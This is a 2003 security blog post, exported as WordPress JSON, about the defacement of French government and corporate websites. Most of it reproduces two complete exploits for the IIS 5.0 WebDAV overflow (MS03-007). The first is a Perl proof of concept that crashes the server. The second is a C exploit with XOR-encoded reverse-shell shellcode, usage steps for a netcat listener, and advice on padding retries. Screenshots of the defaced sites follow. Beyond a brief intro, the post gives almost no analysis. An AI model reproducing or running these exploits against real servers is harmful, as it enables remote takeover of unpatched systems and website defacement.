{"id":45,"date":"2003-04-18T19:40:26","date_gmt":"2003-04-18T12:40:26","guid":{"rendered":""},"modified":"2003-04-18T19:40:26","modified_gmt":"2003-04-18T12:40:26","slug":"da-french-22","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2003\/04\/da-french-22\/","title":{"rendered":"da french (2\/2)"},"content":{"rendered":"<p>Most of them used the windows 2000 server with WebDAV. Servers are vulnerable even if the service doesn&#8217;t run.<!--more--><\/p>\n<p>A POC (Proof Of Concept) was released several weeks ago by matrix from [url=http:\/\/www.infowarfare.dk]http:\/\/www.infowarfare.dk[\/url]<\/p>\n<p>code:<br \/>\n#!\/usr\/bin\/perl -w<br \/>\n # Tested on :<br \/>\n #???? W2K SP3 + the fix -> IIS issues an error<br \/>\n #???? W2K SP3 -> IIS temporarily crashes<br \/>\n #???? W2K SP2 -> IIS temporarily crashes<br \/>\n #???? W2K SP1 -> IIS does not crash, but issues a message<br \/>\n #????????about an internal error<br \/>\n #????<br \/>\n #???? W2K???? -> IIS does not crash, but issues a message about<br \/>\n #????????an internal error<br \/>\n #<br \/>\n # Microsoft Security Bulletin MS03-007<br \/>\n #<br \/>\n # DISCLAIMER:<br \/>\n # The information in this bulletin is provided &#8220;AS IS&#8221; without warranty of any kind.<br \/>\n # In no event shall we be liable for any damages whatsoever including direct, indirect,<br \/>\n # incidental, consequential, loss of business profits or special damages.<br \/>\n #<br \/>\n #??Coded by Matrix &#8211; [url=http:\/\/www.infowarfare.dk]www.infowarfare.dk[\/url]<br \/>\n #??<br \/>\n #??If you put a debugger on the Inetinfo process you can see the result,<br \/>\n #??And sorry about the code could be much more nice, but fuck, it works =)<br \/>\n #<\/p>\n<p> use strict;<br \/>\n use IO::Socket;<br \/>\n use LWP::Simple;<\/p>\n<p> # Globals Go Here.<br \/>\n my $host; # Host being probed.<br \/>\n my $port; # Webserver port.<br \/>\n my $Buffer; # A x 65535<br \/>\n my $XMLShit; # XML Request<\/p>\n<p> $Buffer??= &#8220;A&#8221; x 65535;<br \/>\n $Host_Header = &#8220;Host: 127.0.0.1\\r\\nContent-type: text\/xml\\r\\nContent-Length: 133\\r\\n&#8221;;<br \/>\n $XMLShit = &#8220;<?xml version=\\\"1.0\\\"?> \\r\\n<g:searchrequest xmlns:g=\\\"DAV:\\\">\\r\\n<g:sql>\\r\\nSelect \\&#8221;DAV:displayname\\&#8221; from scope()\\r\\n<\/g:sql>\\r\\n<\/g:searchrequest>\\r\\n&#8221;;<\/p>\n<p> # SUBROUTINES GO HERE.<br \/>\n &intro;<br \/>\n &scan;<br \/>\n &exit; # Play safe with this .<\/p>\n<p> sub intro {<br \/>\n &host;<\/p>\n<p> sleep 3;<br \/>\n };<\/p>\n<p> # host subroutine.<br \/>\n sub host {<br \/>\n system(&#8216;cls&#8217;);<br \/>\n print &#8220;\\n WebDAV OverFlow for IIS 5.0 by Matrix.&#8221;;<br \/>\n print &#8220;\\n [url=http:\/\/www.infowarfare.dk&#8221;;]http:\/\/www.infowarfare.dk&#8221;;[\/url]<br \/>\n print &#8220;\\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n&#8221;;<br \/>\n print &#8220;\\n Host : &#8220;;<br \/>\n $host=<STDIN>;<br \/>\n chomp $host;<br \/>\n if ($host eq &#8220;&#8221;){$host=&#8221;127.0.0.1&#8243;};<br \/>\n print &#8220;\\n Port : &#8220;;<br \/>\n $port=<STDIN>;<br \/>\n chomp $port;<br \/>\n if ($port =~\/\\D\/ ){$port=&#8221;80&#8243;};<br \/>\n if ($port eq &#8220;&#8221; ) {$port = &#8220;80&#8221;};<br \/>\n }; # end host subroutine.<\/p>\n<p> # scan subroutine.<br \/>\n sub scan {<br \/>\n print &#8220;\\n\\n&#8221;;<br \/>\n print &#8220;\\nIIS 5.0 WebDAV BufferOverflow attack &#8211; $host on port $port &#8230;&#8221;;<br \/>\n print &#8220;\\n&#8221;;<br \/>\n &connect;<br \/>\n };<\/p>\n<p> # Connect subroutine.<br \/>\n sub connect {<br \/>\n my $connection = IO::Socket::INET->new(Proto =>&#8221;tcp&#8221;,<br \/>\n ????????????????????????????????PeerAddr =>$host,<br \/>\n ????????????????????????????????PeerPort =>$port) || die &#8220;Could not connect to<br \/>\n $host \\n&#8221;;<\/p>\n<p> $connection -> autoflush(1);<br \/>\n # It is here we put it all together and Flush the Buffer<br \/>\n print $connection &#8220;SEARCH \/$Buffer HTTP\/1.1\\r\\n$Host_Header\\r\\n$XMLShit\\r\\n&#8221;;<br \/>\n close $connection;<br \/>\n };??# end connect subroutine.<\/p>\n<p> # exit subroutine.<br \/>\n sub exit{<br \/>\n print &#8220;\\n\\n\\n&#8221;;<br \/>\n exit;<br \/>\n };<\/p>\n<p> Shellcode Exploit:<br \/>\n \/*******************************************************************\/<br \/>\n \/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] *\/<br \/>\n \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; *\/<br \/>\n \/* this is the exploit for ntdll.dll through WebDAV. *\/<br \/>\n \/* run a netcat ex: nc -L -vv -p 666 *\/<br \/>\n \/* wb server.com your_ip 666 0 *\/<br \/>\n \/* the shellcode is a reverse remote shell *\/<br \/>\n \/* you need to pad a bit.. the best way I think is launching *\/<br \/>\n \/* the exploit with pad = 0 and after that, the server will be *\/<br \/>\n \/* down for a couple of seconds, now retry with pad at 1 *\/<br \/>\n \/* and so on..pad 2.. pad 3.. if you haven&#8217;t the shell after *\/<br \/>\n \/* something like pad at 10 I think you better to restart from *\/<br \/>\n \/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but *\/<br \/>\n \/* on all the others servers it was at 2,3,4, etc..sometimes *\/<br \/>\n \/* you can have the force with you, and get the shell in 1 try *\/<br \/>\n \/* sometimes you need to pad more than 10 times \ud83d\ude09 *\/<br \/>\n \/* the shellcode was coded by myself, it is SEH + ScanMem to *\/<br \/>\n \/* find the famous offsets (GetProcAddress).. *\/<br \/>\n \/* I know I code like a pig, my english sucks, and my tech too *\/<br \/>\n \/* it is my first exploit..and my first shellcode..sorry \ud83d\ude1b *\/<br \/>\n \/* if you have comments feel free to mail me at: *\/<br \/>\n \/* mailto: [email]kralor@coromputer.net[\/email] *\/<br \/>\n \/* or visit us at [url=http:\/\/www.coromputer.net]www.coromputer.net[\/url] . You can speak with us *\/<br \/>\n \/* at IRC undernet channel #coromputer *\/<br \/>\n \/* ok now the greetz: *\/<br \/>\n \/* [El0d1e] to help me find some information about the bug \ud83d\ude42 *\/<br \/>\n \/* tuck_ to support me \ud83d\ude09 *\/<br \/>\n \/* and all my friends in coromputer crew! hein les poulets! =) *\/<br \/>\n \/*******************************************************************\/<\/p>\n<p> #include <winsock.h><br \/>\n #include <windows.h><br \/>\n #include <stdio.h><\/p>\n<p> #pragma comment (lib,&#8221;ws2_32&#8243;) <\/p>\n<p> char shellc0de[] =<br \/>\n ????????&#8221;\\x55\\x8b\\xec\\x33\\xc9\\x53\\x56\\x57\\x8d\\x7d\\xa2\\xb1\\x25\\xb8\\xcc\\xcc&#8221;<br \/>\n ????????&#8221;\\xcc\\xcc\\xf3\\xab\\xeb\\x09\\xeb\\x0c\\x58\\x5b\\x59\\x5a\\x5c\\x5d\\xc3\\xe8&#8243;<br \/>\n ????????&#8221;\\xf2\\xff\\xff\\xff\\x5b\\x80\\xc3\\x10\\x33\\xc9\\x66\\xb9\\xb5\\x01\\x80\\x33&#8243;<br \/>\n ????????&#8221;\\x95\\x43\\xe2\\xfa\\x66\\x83\\xeb\\x67\\xfc\\x8b\\xcb\\x8b\\xf3\\x66\\x83\\xc6&#8243;<br \/>\n ????????&#8221;\\x46\\xad\\x56\\x40\\x74\\x16\\x55\\xe8\\x13\\x00\\x00\\x00\\x8b\\x64\\x24\\x08&#8243;<br \/>\n ????????&#8221;\\x64\\x8f\\x05\\x00\\x00\\x00\\x00\\x58\\x5d\\x5e\\xeb\\xe5\\x58\\xeb\\xb9\\x64&#8243;<br \/>\n ????????&#8221;\\xff\\x35\\x00\\x00\\x00\\x00\\x64\\x89\\x25\\x00\\x00\\x00\\x00\\x48\\x66\\x81&#8243;<br \/>\n ????????&#8221;\\x38\\x4d\\x5a\\x75\\xdb\\x64\\x8f\\x05\\x00\\x00\\x00\\x00\\x5d\\x5e\\x8b\\xe8&#8243;<br \/>\n ????????&#8221;\\x03\\x40\\x3c\\x8b\\x78\\x78\\x03\\xfd\\x8b\\x77\\x20\\x03\\xf5\\x33\\xd2\\x8b&#8221;<br \/>\n ????????&#8221;\\x06\\x03\\xc5\\x81\\x38\\x47\\x65\\x74\\x50\\x75\\x25\\x81\\x78\\x04\\x72\\x6f&#8221;<br \/>\n ????????&#8221;\\x63\\x41\\x75\\x1c\\x81\\x78\\x08\\x64\\x64\\x72\\x65\\x75\\x13\\x8b\\x47\\x24&#8243;<br \/>\n ????????&#8221;\\x03\\xc5\\x0f\\xb7\\x1c\\x50\\x8b\\x47\\x1c\\x03\\xc5\\x8b\\x1c\\x98\\x03\\xdd&#8221;<br \/>\n ????????&#8221;\\x83\\xc6\\x04\\x42\\x3b\\x57\\x18\\x75\\xc6\\x8b\\xf1\\x56\\x55\\xff\\xd3\\x83&#8243;<br \/>\n ????????&#8221;\\xc6\\x0f\\x89\\x44\\x24\\x20\\x56\\x55\\xff\\xd3\\x8b\\xec\\x81\\xec\\x94\\x00&#8243;<br \/>\n ????????&#8221;\\x00\\x00\\x83\\xc6\\x0d\\x56\\xff\\xd0\\x89\\x85\\x7c\\xff\\xff\\xff\\x89\\x9d&#8221;<br \/>\n ????????&#8221;\\x78\\xff\\xff\\xff\\x83\\xc6\\x0b\\x56\\x50\\xff\\xd3\\x33\\xc9\\x51\\x51\\x51&#8243;<br \/>\n ????????&#8221;\\x51\\x41\\x51\\x41\\x51\\xff\\xd0\\x89\\x85\\x94\\x00\\x00\\x00\\x8b\\x85\\x7c&#8221;<br \/>\n ????????&#8221;\\xff\\xff\\xff\\x83\\xc6\\x0b\\x56\\x50\\xff\\xd3\\x83\\xc6\\x08\\x6a\\x10\\x56&#8243;<br \/>\n ????????&#8221;\\x8b\\x8d\\x94\\x00\\x00\\x00\\x51\\xff\\xd0\\x33\\xdb\\xc7\\x45\\x8c\\x44\\x00&#8243;<br \/>\n ????????&#8221;\\x00\\x00\\x89\\x5d\\x90\\x89\\x5d\\x94\\x89\\x5d\\x98\\x89\\x5d\\x9c\\x89\\x5d&#8221;<br \/>\n ????????&#8221;\\xa0\\x89\\x5d\\xa4\\x89\\x5d\\xa8\\xc7\\x45\\xb8\\x01\\x01\\x00\\x00\\x89\\x5d&#8221;<br \/>\n ????????&#8221;\\xbc\\x89\\x5d\\xc0\\x8b\\x9d\\x94\\x00\\x00\\x00\\x89\\x5d\\xc4\\x89\\x5d\\xc8&#8243;<br \/>\n ????????&#8221;\\x89\\x5d\\xcc\\x8d\\x45\\xd0\\x50\\x8d\\x4d\\x8c\\x51\\x6a\\x00\\x6a\\x00\\x6a&#8221;<br \/>\n ????????&#8221;\\x00\\x6a\\x01\\x6a\\x00\\x6a\\x00\\x83\\xc6\\x09\\x56\\x6a\\x00\\x8b\\x45\\x20&#8243;<br \/>\n ????????&#8221;\\xff\\xd0&#8243;<br \/>\n ????????&#8221;CreateProcessA\\x00LoadLibraryA\\x00ws2_32.dll\\x00WSASocketA\\x00&#8243;<br \/>\n ????????&#8221;connect\\x00\\x02\\x00\\x02\\x9A\\xC0\\xA8\\x01\\x01\\x00&#8243;<br \/>\n ????????&#8221;cmd&#8221; \/\/ don&#8217;t change anything..<br \/>\n ????????&#8221;\\x00\\x00\\xe7\\x77&#8243; \/\/ offsets of kernel32.dll for some win ver..<br \/>\n ????????&#8221;\\x00\\x00\\xe8\\x77&#8243;<br \/>\n ????????&#8221;\\x00\\x00\\xf0\\x77&#8243;<br \/>\n ????????&#8221;\\x00\\x00\\xe4\\x77&#8243;<br \/>\n ????????&#8221;\\x00\\x88\\x3e\\x04&#8243; \/\/ win2k3<br \/>\n ????????&#8221;\\x00\\x00\\xf7\\xbf&#8221; \/\/ win9x =P<br \/>\n ????????&#8221;\\xff\\xff\\xff\\xff&#8221;;<\/p>\n<p> int test_host(char *host)<br \/>\n {<br \/>\n ??char search[100]=&#8221;&#8221;;<br \/>\n ??int sock;<br \/>\n ??struct hostent *heh;<br \/>\n ??struct sockaddr_in hmm;<br \/>\n ??char buf[100] =&#8221;&#8221;;<\/p>\n<p> ??if(strlen(host)>60) {<br \/>\n ????printf(&#8220;error: victim host too long.\\r\\n&#8221;);<br \/>\n ????return 1;<br \/>\n ??}<\/p>\n<p> ??if ((heh = gethostbyname(host))==0){<br \/>\n ????printf(&#8220;error: can&#8217;t resolve &#8216;%s'&#8221;,host);<br \/>\n ????return 1;<br \/>\n ??}<\/p>\n<p> ??sprintf(search,&#8221;SEARCH \/ HTTP\/1.1\\r\\nHost: %s\\r\\n\\r\\n&#8221;,host);<br \/>\n ??hmm.sin_port = htons(80);<br \/>\n ??hmm.sin_family = AF_INET;<br \/>\n ??hmm.sin_addr = *((struct in_addr *)heh->h_addr);<br \/>\n ??<br \/>\n ??if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){<br \/>\n ????printf(&#8220;error: can&#8217;t create socket&#8221;);<br \/>\n ????return 1;<br \/>\n ??}<br \/>\n ??<br \/>\n ??printf(&#8220;Checking WebDav on &#8216;%s&#8217; &#8230; &#8220;,host);<br \/>\n ?<br \/>\n ??if ((connect(sock, (struct sockaddr *) &#038;hmm, sizeof(hmm))) == -1){<br \/>\n ????printf(&#8220;CONNECTING_ERROR\\r\\n&#8221;);<br \/>\n ????return 1;<br \/>\n ??}<br \/>\n ??send(sock,search,strlen(search),0);<br \/>\n ??recv(sock,buf,sizeof(buf),0);<br \/>\n if(buf[9]==&#8217;4&#8217;&#038;&#038;buf[10]==&#8217;1&#8217;&#038;&#038;buf[11]==&#8217;1&#8242;)<br \/>\n ??return 0;<br \/>\n ??printf(&#8220;NOT FOUND\\r\\n&#8221;);<br \/>\n ??return 1;<br \/>\n }<\/p>\n<p> void help(char *program)<br \/>\n {<br \/>\n ??printf(&#8220;syntax: %s <victim_host> <your_host> <your_port> [padding]\\r\\n&#8221;,program);<br \/>\n ??return;<br \/>\n }<\/p>\n<p> void banner(void)<br \/>\n {<br \/>\n ??printf(&#8220;\\r\\n\\t [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\\r\\n&#8221;);<br \/>\n ??printf(&#8220;\\t\\twww.coromputer.net &#038;&#038; undernet #coromputer\\r\\n\\r\\n&#8221;);<br \/>\n ??return;<br \/>\n }<\/p>\n<p> void main(int argc, char *argv[])<br \/>\n {<br \/>\n ??WSADATA wsaData;<br \/>\n ??unsigned short port=0;<br \/>\n ??char *port_to_shell=&#8221;&#8221;, *ip1=&#8221;&#8221;, data[50]=&#8221;&#8221;;<br \/>\n ??unsigned int i,j;<br \/>\n ??unsigned int ip = 0 ;<br \/>\n ??int s, PAD=0x10;<br \/>\n ??struct hostent *he;<br \/>\n ??struct sockaddr_in crpt;<br \/>\n ??char buffer[65536] =&#8221;&#8221;;<br \/>\n ??char request[80000]; \/\/ huuuh, what a mess! \ud83d\ude42<br \/>\n ??char content[] =<br \/>\n ???????&#8221;<?xml version=\\\"1.0\\\"?>\\r\\n&#8221;<br \/>\n ???????&#8221;<g:searchrequest xmlns:g=\\\"DAV:\\\">\\r\\n&#8221;<br \/>\n ???????&#8221;<g:sql>\\r\\n&#8221;<br \/>\n ???????&#8221;Select \\&#8221;DAV:displayname\\&#8221; from scope()\\r\\n&#8221;<br \/>\n ???????&#8221;<\/g:sql>\\r\\n&#8221;<br \/>\n ???????&#8221;<\/g:searchrequest>\\r\\n&#8221;;<\/p>\n<p> ??banner();<br \/>\n ??if((argc<4)||(argc>5)) {<br \/>\n ????help(argv[0]);<br \/>\n ????return;<br \/>\n ??}<\/p>\n<p> if(WSAStartup(0x0101,&#038;wsaData)!=0) {<br \/>\n ??printf(&#8220;error starting winsock..&#8221;);<br \/>\n ??return;<br \/>\n ??}<br \/>\n ??<br \/>\n if(test_host(argv[1]))<br \/>\n ??return;<\/p>\n<p> if(argc==5)<br \/>\n ??PAD+=atoi(argv[4]);<\/p>\n<p> printf(&#8220;FOUND\\r\\nexploiting ntdll.dll through WebDav [ret: 0x00%02&#215;00%02x]\\r\\n&#8221;,PAD,PAD);<\/p>\n<p> ??ip = inet_addr(argv[2]); ip1 = (char*)&ip;<\/p>\n<p> shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3];<\/p>\n<p> ??port = htons(atoi(argv[3]));<br \/>\n ??port_to_shell = (char *) &port;<br \/>\n ??shellc0de[446]=port_to_shell[0];<br \/>\n ??shellc0de[447]=port_to_shell[1];<\/p>\n<p> \/\/ we xor the shellcode [xored by 0x95 to avoid bad chars]<br \/>\n ?__asm {<br \/>\n ??lea eax, shellc0de<br \/>\n ??add eax, 0x34<br \/>\n xor ecx, ecx<br \/>\n mov cx, 0x1b0<br \/>\n wah:<br \/>\n xor byte ptr[eax], 0x95<br \/>\n inc eax<br \/>\n loop wah<br \/>\n }<\/p>\n<p> ??if ((he = gethostbyname(argv[1]))==0){<br \/>\n ????printf(&#8220;error: can&#8217;t resolve &#8216;%s'&#8221;,argv[1]);<br \/>\n ????return;<br \/>\n ??}<br \/>\n ??<br \/>\n ??crpt.sin_port = htons(80);<br \/>\n ??crpt.sin_family = AF_INET;<br \/>\n ??crpt.sin_addr = *((struct in_addr *)he->h_addr);<br \/>\n ??<br \/>\n ??if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){<br \/>\n ????printf(&#8220;error: can&#8217;t create socket&#8221;);<br \/>\n ????return;<br \/>\n ??}<br \/>\n ??<br \/>\n ??printf(&#8220;Connecting&#8230; &#8220;);<br \/>\n ?<br \/>\n ??if ((connect(s, (struct sockaddr *) &#038;crpt, sizeof(crpt))) == -1){<br \/>\n ????printf(&#8220;ERROR\\r\\n&#8221;);<br \/>\n ????return;<br \/>\n ??}<br \/>\n \/\/ No Operation.<br \/>\n for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);\n \/\/ fill the buffer with the shellcode\n for(i=64000,j=0;i<sizeof(buffer)&#038;&#038;j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);\n \/\/ well..it is not necessary..\n for(i=0;i<2500;buffer[i]=PAD,i++);\n \n \/* we can simply put our ret in this 2 offsets.. *\/\n \/\/buffer[2086]=PAD;\n \/\/buffer[2085]=PAD;\n \n ??buffer[sizeof(buffer)]=0x00;\n ??memset(request,0,sizeof(request));\n ??memset(data,0,sizeof(data));\n ??sprintf(request,\"SEARCH \/%s HTTP\/1.1\\r\\nHost: %s\\r\\nContent-type: text\/xml\\r\\nContent-Length: \",buffer,argv[1]);\n ??sprintf(request,\"%s%d\\r\\n\\r\\n\",request,strlen(content));\n ??printf(\"CONNECTED\\r\\nSending evil request... \");\n ??send(s,request,strlen(request),0);\n ??send(s,content,strlen(content),0);\n ??printf(\"SENT\\r\\n\");\n ??recv(s,data,sizeof(data),0);\n ??if(data[0]!=0x00) {\n ??printf(\"Server seems to be patched.\\r\\n\");\n ??printf(\"data: %s\\r\\n\",data);\n ??} else\n ??printf(\"Now if you are lucky you will get a shell.\\r\\n\");\n ??closesocket(s);\n ??return;\n }\n \n\nEDF.fr\n<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/deepquest.code511.com\/blog\/images\/uploads\/edf.jpg\" border=\"0\" alt=\"image\" name=\"image\" width=\"640\" height=\"480\" \/> <\/p>\n<p>Various french Gov<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/deepquest.code511.com\/blog\/images\/uploads\/gouv1.jpg\" border=\"0\" alt=\"image\" name=\"image\" width=\"640\" height=\"480\" \/> <\/p>\n<p>BouguesTelecom<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/deepquest.code511.com\/blog\/images\/uploads\/bouyg.jpg\" border=\"0\" alt=\"image\" name=\"image\" width=\"640\" height=\"480\" \/> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>It seems like several .gouv.fr and corporate sites were defaced during the past 48h.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-45","post","type-post","status-publish","format-standard","hentry","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-J","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/45","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=45"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/45\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}